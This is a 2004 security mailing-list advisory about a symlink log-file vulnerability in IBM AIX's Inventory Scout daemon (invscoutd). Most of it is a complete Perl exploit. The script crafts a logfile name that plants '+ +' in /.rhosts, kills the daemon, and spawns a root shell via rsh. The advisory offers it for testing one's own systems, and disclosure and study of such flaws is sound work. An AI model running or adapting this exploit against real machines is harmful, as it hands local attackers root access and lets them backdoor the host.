Date: 13 Jul 2004 16:35:54 +0200
From: SecuriTeam <support@securiteam.com.>
To: [email protected]Subject: [EXPL] IBM AIX Inventory Scout Log File Vulnerability (invscoutd)
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IBM AIX Inventory Scout Log File Vulnerability (invscoutd)
------------------------------------------------------------------------
SUMMARY
Inventory Scout daemon is "a daemon that surveys the host system for
currently installed microcode or Vital Product Data (VPD)". A
vulnerability in Inventory Scout due to insecure use of the logfile
command line option by invscoutd allows a local attacker to carefully
constructed logfile name in conjunction with a symbolic link attack to
create or append to arbitrary files with root privileges.
The following exploit code can be used to test your system for the
mentioned vulnerability.
DETAILS
Vulnerable Systems:
* AIX 4.3.3
* AIX 5.1
* Inventory Scout Daemon version 2.0.2
* Inventory Scout version 1.3.0.0
Exploit:
#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested : on Aix4.3.3 & Aix5.1.
# Some high version of invscoutd is not affected.
# Author : [email protected]
# [email protected]
# Date : 2003-5-29
# Announce: use as your owner risk!
$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;
print "Exploit error on kill process invscoutd !!" ,exit 1
if &killproc() == 0;
symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";
system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";
sub killproc() {
$_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
@proc_lst=split;
$ret=kill 9,$proc_lst[1] if $proc_lst[1];
$ret=-1 if ! defined $ret;
return $ret;
}
#EOF
ADDITIONAL INFORMATION
The information has been provided by <mailto:watercloud@nsfocus.com.>
watercloud.
The original article can be found at:
<http://xfocus.net/articles/200406/710.html>;
http://xfocus.net/articles/200406/710.html
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